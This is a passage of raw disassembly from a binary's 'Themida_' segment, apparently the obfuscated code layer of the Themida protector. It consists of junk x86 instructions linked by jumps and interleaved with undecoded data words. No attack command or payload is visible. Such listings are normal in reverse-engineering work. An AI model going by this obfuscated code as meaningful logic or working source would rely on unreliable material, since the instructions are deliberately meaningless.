		not	eax
		xchg	eax, edx
		jmp	loc_54BC4D
; ---------------------------------------------------------------------------


loc_545977:				; CODE XREF: Themida_:0054CC23j
		add	edx, esi
		jmp	loc_54DBFD
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 0FCE57191h, 0E959CA29h, 9626h, 70BDCB81h, 0E953045Dh
		dd 38CBh
; ---------------------------------------------------------------------------


loc_545998:				; CODE XREF: Themida_:0054C1F7j
		mov	edi, esp
		jmp	loc_5500CF
; ---------------------------------------------------------------------------


loc_54599F:				; CODE XREF: Themida_:0054EABCj
		push	7261h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5502A8
; ---------------------------------------------------------------------------


loc_5459B4:				; CODE XREF: Themida_:005479DFj
		mov	ecx, 76532820h
		shr	ecx, 8
		shr	ecx, 3
		jmp	loc_5453D4
; ---------------------------------------------------------------------------
		dd 240CFF66h, 0F123E99Ch, 148BFFFFh, 4C48124h, 0C0000000h
		dd 7AE904EFh, 580000B8h, 685DEE31h, 4E16h, 0A696E9h, 24048900h
		dd 4B8h, 58C10100h, 4E981h, 0C870000h, 1C895C24h, 88D78824h
		dd 88515BF8h, 0E88850C5h, 53C0E9h, 0AAF48000h, 8158E100h
		dd 4ECh, 24048900h, 0CE9C888h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545A2B:				; CODE XREF: Themida_:0054E013j
		pop	ebp
		add	ebp, 74C65E3Bh
		jmp	loc_551136
; ---------------------------------------------------------------------------
		db 81h
		dd 11678BEAh, 0AFC58167h, 81139837h, 831F6EDh, 0E9D50147h
		dd 5467h, 4C181h, 0C1810000h, 4, 5C240C87h, 53A468h, 241C8900h
		dd 2891E9h, 0EBE98100h,	5B735C20h, 22358A2Dh, 0E9C82909h
		dd 8532h
; ---------------------------------------------------------------------------


loc_545A80:				; CODE XREF: Themida_:00547FF2j
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		not	ebx
		push	38FAh
		mov	[esp], eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_548EFD
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 5C243487h, 0FFF020E9h, 148B5EFFh,	4C48124h, 0E9000000h
		dd 0AA37h
; ---------------------------------------------------------------------------


loc_545AE0:				; CODE XREF: Themida_:0054F335j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54C9F7
; ---------------------------------------------------------------------------


loc_545AEE:				; CODE XREF: Themida_:005467B4j
		add	esp, 4
		mov	eax, esi
		pop	esi
		sub	[edi+24h], eax
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebx
		jmp	loc_5509B8
; ---------------------------------------------------------------------------
		db 68h
		dd 299Dh, 68241C89h, 763h, 51241489h, 8824B252h, 0CA885AD1h
		dd 80F28059h, 2B2AE9h, 0D9EA8100h, 0E9772849h, 4E85h
; ---------------------------------------------------------------------------


loc_545B40:				; CODE XREF: Themida_:0054BE8Fj
		or	edi, 1B8B1073h
		add	edi, 60706691h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5482E4
; ---------------------------------------------------------------------------
		db 81h
		dd 511490F5h, 9DED813Eh, 4541217Ah, 0A048ED81h,	42E977CAh
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545B6F:				; CODE XREF: Themida_:0054E4D0j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_545C90
; ---------------------------------------------------------------------------


loc_545B83:				; CODE XREF: Themida_:00545252j
		push	esp
		pop	ecx
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_549D57
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8904ECh, 5E6CBF24h, 0EF8140B7h, 40B75E68h,	525FF801h
		dd 117768h, 240C8900h, 0B376E9h, 0C8315800h, 2E8C159h
		dd 835D0F7h, 2D58E518h,	58A20964h, 0E958C501h, 0A4A1h
; ---------------------------------------------------------------------------


loc_545BDC:				; CODE XREF: Themida_:0054BECCj
		push	dword ptr [esp]
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54702C
; ---------------------------------------------------------------------------


loc_545BF0:				; CODE XREF: Themida_:0054DDA5j
		push	edx
		jmp	loc_549C80
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 0CB015C24h, 0E9240C8Bh, 1B58h
; ---------------------------------------------------------------------------


loc_545C04:				; CODE XREF: Themida_:0054C158j
		shl	edx, 1
		shl	edx, 2
		push	esi
		push	36727D7Fh
		pop	esi
		jmp	loc_5504ED
; ---------------------------------------------------------------------------


loc_545C15:				; CODE XREF: Themida_:00545DCDj
		mov	[esp], esi
		push	eax
		push	edx
		mov	edx, 4
		push	edx
		pop	eax
		jmp	loc_54A09F
; ---------------------------------------------------------------------------
		dw 489h
		dd 0DCBF5724h, 523C3606h, 3607DABAh, 3481523Ch,	6D768124h
		dd 0BD55581Dh, 1BB11E12h, 64B8C581h, 0C5813194h, 0D027F3B7h
		dd 8B5DE831h, 89562414h, 7857E9E6h, 0FC880000h,	349CE9h
		dd 1E98300h, 0A552E9h
		db 0
; ---------------------------------------------------------------------------


loc_545C6D:				; CODE XREF: Themida_:0054E0D5j
		neg	al
		jmp	loc_54EA81
; ---------------------------------------------------------------------------
		dd 0A805E949h, 15D0000h, 0CE015DE9h, 24348759h,	124248Bh
		dd 0E99C2404h, 0FFFFEE61h
; ---------------------------------------------------------------------------


loc_545C90:				; CODE XREF: Themida_:00545B7Ej
		pop	esp
		sub	al, bl
		pop	ebx
		jmp	loc_548003
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 68240C89h, 4, 51240C8Bh, 0C181E189h,	4, 4C181h, 3BE90000h
		dd 8BFFFFFFh, 0E9502404h, 9D26h, 0C681E689h, 4,	4BB53h
		dd 0DE010000h, 2434335Bh, 33243431h, 8F5C2434h,	248B2404h
		dd 6833E924h, 0F3010000h, 12DCEB81h, 0C3810611h, 61697DB9h
		dd 3578C381h, 348B0922h, 2A9FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545D06:				; CODE XREF: Themida_:00550512j
		xor	edx, eax
		xor	eax, edx
		push	edx
		push	ebp
		jmp	loc_54CCCB
; ---------------------------------------------------------------------------
aWsX		db 'Wé^•',0
		db 0
; ---------------------------------------------------------------------------


loc_545D17:				; CODE XREF: Themida_:00545F86j
		sub	edi, 1D0E07CAh
		add	edi, 775C3C8Bh
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		or	eax, eax
		jmp	loc_5508F8
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 88h
		dd 8127B806h, 0C36D58C3h, 5BDA899Ch, 0FCEE9h
		db 0
; ---------------------------------------------------------------------------


loc_545D49:				; CODE XREF: Themida_:005480F1j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54EA1F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C78100h, 50000000h, 0E72478B8h, 0C1D8F73Ch, 7F3504E0h
		dd 35753F70h, 60C102A2h, 0B951E8D1h, 6D5D0DB5h,	11F9C181h
		dd 42E97AA4h, 89000049h, 5EE9240Ch, 81FFFFEDh, 4ECh, 24348900h
		dd 0FFFF23E9h, 405FFh, 12E90000h, 0DFFFFFAh, 60E86AADh
		dd 0C8F91C35h, 9B5DE932h, 0EDC10000h, 41ED8108h, 9F4AAE6h
		dd 8237E9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545DCA:				; CODE XREF: Themida_:0054F01Bj
		sub	esp, 4
		jmp	loc_545C15
; ---------------------------------------------------------------------------


loc_545DD2:				; CODE XREF: Themida_:0054A72Cj
		xchg	edi, [esp]
		mov	esp, [esp]
		xor	ebp, 305C573Ah
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_547AE8
; ---------------------------------------------------------------------------
		align 4
aSR		db 'Øé',0Bh,'r',0
		align 2
		dw 4BEh
		dd 81000000h, 223578EBh, 5E30E909h, 34FF0000h, 311BE924h
		dd 0E95A0000h, 96B1h, 52240C89h, 0EC277E68h, 0E2815A30h
		dd 280C5278h, 8228E9h, 0E932FF00h, 0FFFFECB5h, 60E9DEF7h
		dd 8100001Dh, 0C27BE4EDh, 81CD017Dh, 0C27BE4C5h, 2BED817Dh
		dd 0FF5D4760h, 25E92434h, 5900000Dh, 7176E9h, 2434FF00h
		dd 4B8C685Bh, 0FCE90000h, 50000026h, 582414F7h,	0FFFF2EE9h
		dd 0C8B5EFFh, 0E6895624h, 4C681h, 0C6810000h, 4, 9815E9h
		db 0
; ---------------------------------------------------------------------------


loc_545E95:				; CODE XREF: Themida_:0054CFB5j
		mov	ebx, ebp
		jmp	loc_54F3A9
; ---------------------------------------------------------------------------
		dd 4C581h, 0C5830000h, 242C8704h, 59C8215Ch, 840FC009h
		dd 27DAh, 4E1968h, 0FD68E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545EBE:				; CODE XREF: Themida_:0054B6DFj
		push	ebx
		mov	bl, 6Ch
		jmp	loc_550DCD
; ---------------------------------------------------------------------------
aS9y		db '(Ãé9y',0
		dd 62EF8000h, 0E9CDC780h, 1010h, 415467BBh, 8BDD296Eh
		dd 77E9241Ch
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545EE7:				; CODE XREF: Themida_:00544E2Cj
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	esi
		push	edi
		push	8770748h
		pop	edi
		neg	edi
		jmp	loc_550573
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 8124048Bh, 4C4h, 4C48100h, 56000000h, 24348B54h
		dd 0E904C483h, 0A358h
; ---------------------------------------------------------------------------


loc_545F20:				; CODE XREF: Themida_:0054BA03j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		or	[esp], ax
		pushf
		jmp	loc_54D419
; ---------------------------------------------------------------------------


loc_545F38:				; CODE XREF: Themida_:0054B307j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		xor	dword ptr [esp], 6F855E29h
		pop	eax
		jmp	loc_54CFBA
; ---------------------------------------------------------------------------


loc_545F4C:				; CODE XREF: Themida_:00545844j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_547FD5
; ---------------------------------------------------------------------------


loc_545F63:				; CODE XREF: Themida_:005477FEj
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	ebx
		mov	ebx, 4
		sub	edi, 775C3C8Bh
		add	edi, 1D0E07CAh
		add	edi, ebx
		jmp	loc_545D17
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 83000000h,	2C8704EDh, 14895C24h, 68F1B624h
		dd 0
		dd 97240480h, 46240480h, 0F8BE9h, 0E957AD00h, 11B4h, 5AB7E950h
		dd 6C810000h, 2CC40424h, 6C815BAAh, 5B120424h, 440106F0h
		dd 44810424h, 5B120424h, 448106F0h, 2CC40424h, 6C815BAAh
		dd 425F0424h, 48B0750h,	0E3E95624h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545FF3:				; CODE XREF: Themida_:0054C2ACj
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		div	cx
		jmp	loc_54E240
; ---------------------------------------------------------------------------
aBsabglSzp	db 'éa¡GL!Ëéz',0
		dd 10EA8100h, 0E9D44BF2h, 5E0Ah, 0E7452BDh, 7EDC128h, 2BEFE9h
		dd 4EF8100h, 0E9000000h, 91A5h
; ---------------------------------------------------------------------------


loc_54604C:				; CODE XREF: Themida_:0054FE30j
		sub	edi, 42B43961h
		inc	edi
		add	edi, 7E9E6282h
		add	edx, edi
		jmp	loc_5485E4
; ---------------------------------------------------------------------------
		dd 4BBh, 4EED8100h, 0E923B945h,	0FFFFEC45h, 68240489h
		dd 3528h, 0BA241489h, 60C71E04h, 3639BD55h, 0ED8134C2h
		dd 74A68DBh, 0BD3CF581h, 0EFE9617Bh
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_546097:				; CODE XREF: Themida_:0054D1F0j
		pop	edi
		shl	edx, 8
		jmp	loc_55092A
; ---------------------------------------------------------------------------
		dd 0E8E99CB0h, 8900001Dh, 405E0h, 4050000h, 50000000h
		dd 42474FFh, 0E924048Bh, 9584h,	4C481h,	3E2D0000h, 0E91E2D7Ch
		dd 5F90h
; ---------------------------------------------------------------------------


loc_5460D0:				; CODE XREF: Themida_:00550DEAj
		pop	small word ptr [eax]
		jmp	loc_544AF1
; ---------------------------------------------------------------------------
		dd 5203E1C0h, 0D2E90CB6h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5460E3:				; CODE XREF: Themida_:0054DA25j
		mov	edx, 80h
		jmp	loc_550F68
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 405h, 4E92E900h, 0D5010000h,	0B1B8E95Ah, 0F7510000h
		dd 41592414h, 0DF9EE981h, 0CD3123B4h, 81240C8Bh, 4C4h
		dd 8BE82900h, 0C483242Ch, 68575204h, 8304FB9h, 645DE9h
		dd 1D602D00h, 2DE9E9F4h, 0B8000043h, 114F4ECDh,	5FE9C629h
		dd 66FFFFF2h, 55240C8Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		jmp	loc_549007
; ---------------------------------------------------------------------------
		db 66h
		dd 9C2424D3h, 0FFE990E9h, 8FE95BFFh, 50000032h,	9AE9D089h
		dd 55000022h, 2A0AE9h
		db 0
; ---------------------------------------------------------------------------


loc_546175:				; CODE XREF: Themida_:0054EF17j
		shr	eax, 6
		add	eax, 2F084567h
		push	eax
		xor	dword ptr [esp], 192639A9h
		pop	edx
		xor	edx, 192639A9h
		jmp	loc_54B11C
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 6EBF243Ch, 0C14FFD0Ch, 7CE905E7h,	83000028h
		dd 5F0904C4h, 6F73E91Ch, 0EB810000h, 4,	5C241C87h, 54243C89h
		dd 0E9243C8Bh, 2389h, 0BB241C89h, 6ABC01EEh, 71E9DE89h
		dd 81000002h, 4C5h, 380CE900h, 0C1290000h, 240C8758h, 3D53E9h
		dd 242C8900h, 351B6ABDh, 1EA7683Dh, 3C8B2E64h, 4C48324h
		dd 815DEF31h, 76B20CFh,	1EF8365h, 1194EF81h, 4B2D5171h
		dd 53367435h, 770763BBh, 5BD82937h, 6305F829h, 0E9377707h
		dd 9BBEh, 89242C89h, 1FEAE9E5h,	0B6E90000h, 68FFFFE8h
		dd 7DB3h, 6CC8E9h, 243C3300h, 7707E9h, 0D9015900h, 240C875Bh
		dd 9FDBE9h, 243C8700h, 3F3805Ch, 1C8BD830h, 33C7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54626A:				; CODE XREF: Themida_:005475C6j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		movzx	eax, al
		jmp	loc_54F094
; ---------------------------------------------------------------------------
		dd offset dword_4B5248+14620h
		align 2
		dw 40E9h
		dd 0B8000038h, 0DD91387h, 0DC145805h, 6EB9250Fh, 6350DF9h
		dd 406B8A35h, 41B1292Dh, 3D77E962h, 68660000h, 0A9E9341Bh
		dd 65h,	49E953D8h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5462B3:				; CODE XREF: Themida_:0054CBEEj
		mov	ecx, 141623D6h
		or	ecx, 190A476Ah
		sub	ecx, 63E6186Dh
		shl	ecx, 7
		add	ecx, 644DA7DCh
		sub	ebp, 7CBD4461h
		jmp	loc_546955
; ---------------------------------------------------------------------------
		dd 4BD55h, 0C2810000h, 353A6022h, 0EA81EA01h, 353A6022h
		dd 2414875Dh, 0E924248Bh, 67AEh, 4C681h, 0C6810000h, 4
		dd 5C243487h, 4B75350h,	0FFF94DE9h, 0BF57ADFFh,	26B37FFh
		dd 3783C781h, 0FE294E08h, 8DBA525Fh, 81053C2Fh,	0CC5062C2h
		dd 1C2830Dh, 0E5CA814Ah, 55265624h, 5097E9h, 81CF2900h
		dd 6B2660EFh, 240C8B68h, 2104C483h, 243C8BF8h, 3447E9h
		dd 5AF02800h, 0E95CB551h, 6700h, 24048B66h, 247D68h, 24348900h
		dd 0C8B5451h, 4C48324h,	4C181h,	0E9810000h, 4, 8B240C87h
		dd 24892424h, 24048324h, 0C6815E04h, 4,	8904EC83h, 94BF243Ch
		dd 4729DC74h, 9BBAE9h, 81DEF700h, 726550EEh, 61222D1Ch
		dd 0F0294306h, 6612205h, 24348B43h, 504C483h, 2F7D2227h
		dd 272DF029h, 52F7D22h,	26743BAh, 5324348Bh, 0C381E389h
		dd 4, 8704C383h, 815C241Ch, 874BA3C3h, 68C30147h, 0CFh
		dd 50243C89h, 3D1CBD55h, 0E5814CC8h, 33626E1Bh,	0E905E5C1h
		dd 0FFFFF74Fh
; ---------------------------------------------------------------------------


loc_546408:				; CODE XREF: Themida_:0054CEF7j
		pop	edx
		sub	esi, 77425C6Dh
		sub	esi, edi
		jmp	loc_54F215
; ---------------------------------------------------------------------------
		dw 0F129h
		dd 24B7E9h, 5E535800h, 7EEC15Bh, 340768h, 24148900h, 585AE9h
		dd 45B86600h, 0F031664Bh, 8324348Bh, 516804C4h,	0E900005Eh
		dd 14F3h, 81241C8Bh, 4C4h, 0CD36800h, 36E90000h, 81000036h
		dd 4C4h, 14F75600h, 43D8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54646A:				; CODE XREF: Themida_:00548C7Fj
		pop	edx
		sub	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		add	eax, 404B0DF5h
		jmp	loc_54F7A0
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0B3BD55D0h, 81734A48h, 24A6B7C5h, 0E9E801ADh, 0ABAFh
		dd 48AC781h, 0E952145Bh, 32BFh,	0E1D0D1F6h, 80CDC180h
		dd 0B4505DE9h, 0E9CCFEECh, 0A772h, 81240C8Bh, 4C4h, 0C0B60F00h
		dd 0E987048Fh, 0FFFFE625h, 0BD242C89h, 47C267E1h, 0E906E5C1h
		dd 18C4h, 0BA241489h, 3458A0E2h, 34FFD001h, 853CE924h
		dd 8B660000h, 54552404h, 4C5815Dh, 68000000h, 7F6Ah, 51240489h
		dd 0F034E952h, 0DFF6FFFFh, 8097C780h, 0FA281DC7h, 3266E9h
		dd 0E95DB600h, 2D00h
; ---------------------------------------------------------------------------


loc_546520:				; CODE XREF: Themida_:0054A12Bj
		add	esi, 589B3E3Ah
		or	esi, 0DEF494Eh
		add	esi, 821090B6h
		mov	ebp, esi
		pop	esi
		sub	edx, 6F696B70h
		add	edx, ebp
		push	esi
		mov	esi, 40196264h
		jmp	loc_54F475
; ---------------------------------------------------------------------------
		dd 4C481h, 0C5810000h, 4, 4C581h, 2C330000h, 242C3124h
		dd 0E9242C33h, 316Eh, 2474FF52h, 48F5A04h, 24248B24h, 0FFF44BE9h
		dd 2434FFFFh, 9C38E9h, 0E9DBF700h, 4D84h, 2A2FBF57h, 0D3E91FE9h
		dd 59000061h, 4C481h, 88530000h, 13F6E9F3h, 63B80000h
		dd 3174A502h, 0ED8158C5h, 0FEC12E62h, 0E902E5C1h, 6D07h
		dd 0B63D4668h, 0CE0159D4h, 6B77E9h, 0EC83AD00h,	6C6DE904h
		dd 2BB0000h, 5000000h, 5B5F0DE8h, 0FFEABEE9h, 1AF181FFh
		dd 0E929F582h, 0A4D5h, 0E754CEBAh, 0E9524A00h, 7CABh, 512FEF81h
		dd 0C7816037h, 9975CBEh, 0EF81C701h, 9975CBEh, 512FC781h
		dd 48B6037h, 4C48324h, 4C781h, 0FF570000h, 8B042474h, 0C483243Ch
		dd 6DF4E904h, 48B0000h,	4C48124h, 56000000h, 75F7E9h, 0CEF8100h
		dd 4775526Fh, 240CFF57h, 6ABD555Fh, 0E966E056h,	7FEh, 0E9242489h
		dd 0A354h
; ---------------------------------------------------------------------------


loc_546658:				; CODE XREF: Themida_:0054593Bj
		add	ch, dl
		pop	edx
		jmp	loc_54C209
; ---------------------------------------------------------------------------
		dd 0EA81C201h, 3C3E5FFBh, 89C7E958h, 0E3890000h, 4C381h
		dd 0C3830000h, 30ABE904h, 0BDB80000h, 0D32434Dh, 18462EE6h
		dd 4803E0C1h, 1035D0F7h, 31F11653h, 7050E9C1h, 0DE290000h
		dd 5EF2295Bh, 5C241487h, 9C51E9h, 0E9C18900h, 9488h, 35D8F748h
		dd 3B8E43D6h, 0D6D27035h, 3BDDE9CDh, 148B0000h,	4C48124h
		dd 87000000h, 895C2434h, 0B450240Ch, 58E1884Ch,	3059CF88h
		dd 3CE95BF8h, 21000081h, 0FA77E9DAh, 0E981FFFFh, 3E0B35C1h
		dd 3102E9h, 0FC33000h, 8F66C0B6h, 0EEE98704h, 81FFFFE3h
		dd 0FC46BFF3h, 3F8FE903h, 14870000h, 1981E924h,	0C8B0000h
		dd 4C48124h, 68000000h,	770h, 27DFE9h, 0FD055B00h, 56206AE4h
		dd 6A12A6BEh, 0D0EE8117h, 0F71F7F0Dh, 0F7D6F7D6h, 32EE81D6h
		dd 299F0DEDh, 0C3295EF3h, 0DF7C381h, 48B6907h, 4C48324h
		dd 0FFFA34E9h, 0E9D501FFh, 72C6h
; ---------------------------------------------------------------------------


loc_546764:				; CODE XREF: Themida_:0054904Fj
		mov	ebp, 358179Bh
		sub	ebp, 57517134h
		or	ebp, 701F5462h
		neg	ebp
		or	ebp, 4E7270D8h
		xor	ebp, 91C959B9h
		add	edx, ebp
		pop	ebp
		add	edi, 49390635h
		add	edi, edx
		sub	edi, 49390635h
		jmp	loc_54F02D
; ---------------------------------------------------------------------------


loc_546799:				; CODE XREF: Themida_:0054A006j
		xor	esi, 5284CBEEh
		and	eax, esi
		jmp	loc_54EA6A
; ---------------------------------------------------------------------------


loc_5467A6:				; CODE XREF: Themida_:0054835Fj
		and	ecx, ebx
		pop	ebx
		add	ecx, 0EE83993Fh
		xor	esi, ecx
		mov	ecx, [esp]
		jmp	loc_545AEE
; ---------------------------------------------------------------------------


loc_5467B9:				; CODE XREF: Themida_:00546830j
		push	edx
		push	ebx
		push	ecx
		push	7CEB0B19h
		pop	ecx
		jmp	loc_545677
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 0BB530000h, 4, 2D76E9h, 0B753AC00h, 0B3E7809Bh
		dd 0C780D7F6h, 4D07E950h, 0D8880000h, 83241C8Bh, 0C18804C4h
		dd 576EE9h, 4C48300h, 0E958C120h, 62AEh
; ---------------------------------------------------------------------------


loc_546804:				; CODE XREF: Themida_:00547855j
		xor	ebx, 0BBF490E1h
		mov	edx, ebx
		jmp	loc_54AFE1
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 50h
		dd 4B8h, 1C6FE900h, 8B660000h, 42E92404h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546827:				; CODE XREF: Themida_:00548876j
		xor	eax, edx
		pop	edx
		push	esi
		mov	esi, 36937037h
		jmp	loc_5467B9
; ---------------------------------------------------------------------------
aHx		db ')Âhx>',0
		align 4
		dd 0E9240489h, 24CEh
; ---------------------------------------------------------------------------


loc_546844:				; CODE XREF: Themida_:0054E354j
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	ebx
		sub	dword ptr [esp], 773B238Eh
		pop	esi
		add	esi, 773B238Eh
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		push	1A000388h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54B853
; ---------------------------------------------------------------------------


loc_546892:				; CODE XREF: Themida_:0054A97Aj
		mov	ecx, [eax]
		jmp	loc_544CFC
; ---------------------------------------------------------------------------
aIXs1p		db '‰ÇXé1',0
		dd 10826800h, 14890000h, 2F685524h, 8B31DA44h, 0B9E9242Ch
		dd 5200005Ah, 0C17E9h, 0CECB8100h, 81509911h, 0B630F8E3h
		dd 4624E900h, 0FC680000h, 89000042h, 6852240Ch,	18E26416h
		dd 7A48685Ah, 72E90000h, 66000001h, 52240C8Bh, 0EC81E289h
		dd 4, 7E2EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5468F9:				; CODE XREF: Themida_:005490ADj
		push	ebp
		pop	ebx
		pop	ebp
		sub	[esp+4], ebx
		pop	ebx
		jmp	loc_546B40
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 1D3E9h, 4C08300h, 7BE0E9h, 243C3300h, 2304E9h
		db 0
; ---------------------------------------------------------------------------


loc_54691D:				; CODE XREF: Themida_:0054F6CDj
		sub	edx, ebx
		jmp	loc_54A3C7
; ---------------------------------------------------------------------------
		dd 2BDh, 5DE82900h, 6D34E9h, 24248B00h,	4917E9h, 4C48300h
		dd 0FF1C4721h, 81582434h, 4C4h,	0E562E900h, 0EF01FFFFh
		dd 816CE9h
		db 0
; ---------------------------------------------------------------------------


loc_546955:				; CODE XREF: Themida_:005462D3j
		sub	ebp, ecx
		push	esi
		mov	esi, 24FD0D21h
		and	esi, 6F6F4FC0h
		not	esi
		sub	esi, 5ED5AE9Eh
		jmp	loc_54EA42
; ---------------------------------------------------------------------------
aAEUaSM		db '€ÆeÐî€ÆÔéÇM',0
		dd 4EC8100h, 0E9000000h, 4095h,	4BB53h,	0C6810000h, 2CE919B6h
		dd 0EE81DE01h, 2CE919B6h, 8917E95Bh, 0E3D00000h, 0F6F6E950h
		dd 814EFFFFh, 0CC1905E6h, 50E68135h, 5369CE45h,	3336B850h
		dd 0E8C17F45h, 0E9D0F702h, 0A74Fh, 50241489h, 8093E99Ch
		dd 662D0000h, 15CE56Fh,	6F6605D8h, 7055CE5h, 68223423h
		dd 0EABh, 56241C89h, 0EE1BE3BEh, 0E089500Eh, 405h, 0ADBD5500h
		dd 815BE07Eh, 1F8157C5h, 5DE829A4h, 5C240487h, 89243C89h
		dd 0E9FB89F7h, 0C8Ch, 24048F5Eh, 243C895Ch, 2BFh, 2EEE8100h
		dd 12AE936h, 2EC681FEh,	5F2AE936h, 0E9243487h, 2FEAh, 0C8006D2Ch
		dd 0F3E96D04h, 0FF0000A1h, 575D2434h, 0C781E789h, 4, 362BE9h
		dd 24148900h, 0E26616BAh, 8BD18918h, 0C4812414h, 4, 79A3E9h
		dd 3CB200h, 805A66D1h, 0CE2853F1h, 5AF18859h, 0C180E1D0h
		dd 59C80031h, 0EEE95A66h, 81FFFFFEh, 4C2h, 345E900h, 4BA0000h
		dd 1000000h, 0FF042454h, 815A2434h, 4C4h, 0E9515D00h, 980Dh
; ---------------------------------------------------------------------------


loc_546AB4:				; CODE XREF: Themida_:00544AF4j
		push	dx
		mov	dl, 0F1h
		jmp	loc_54726C
; ---------------------------------------------------------------------------


loc_546ABD:				; CODE XREF: Themida_:0054E7ADj
		mov	edx, esp
		push	esi
		jmp	loc_54F3E0
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FFFC28E9h, 34CF81FFh, 50231136h, 0B7C93B8h,	0E9C72155h
		dd 206h, 0E6477D2Dh, 6B2051Ch, 0C46840E2h, 0E9000070h
		dd 2AA6h
; ---------------------------------------------------------------------------


loc_546AF4:				; CODE XREF: Themida_:0054E4ADj
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54F661
; ---------------------------------------------------------------------------


loc_546B01:				; CODE XREF: Themida_:0055120Bj
		sub	esp, 4
		jmp	loc_549345
; ---------------------------------------------------------------------------
		dd 0FFDFE0E9h, 0DFDBE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546B16:				; CODE XREF: Themida_:00548C42j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_550F31
; ---------------------------------------------------------------------------
		dd 1E75C381h, 0F3014279h, 1E75EB81h, 348B4279h,	4C48124h
		dd 0E9000000h, 747Ch
; ---------------------------------------------------------------------------


loc_546B40:				; CODE XREF: Themida_:00546901j
		mov	eax, [esp]
		jmp	loc_5453B4
; ---------------------------------------------------------------------------
aFssA		db '^FSéÇa',0
		align 10h
		dd 42474FFh, 24048F5Dh,	27E2E9h, 50D32800h, 0FE344EB0h
		dd 0FFF35DE9h, 280D2CFFh, 660D04D8h, 51F0285Bh,	19CDE952h
		dd 14890000h, 0E99C5024h, 0FFFFDF6Dh, 0D1A6859h, 4890000h
		dd 5585424h, 4,	8704C083h, 335C2404h, 2C31242Ch, 242C3324h
		dd 68F9F75Ch, 58D3h, 89243C89h,	138CE9E7h, 3C8B0000h, 4C48324h
		dd 0E924048Fh, 0FFFFE0ACh, 5F2434FFh, 4EC81h, 34890000h
		dd 0E9E68924h, 8D49h, 648468h, 48F5400h, 24048124h, 4
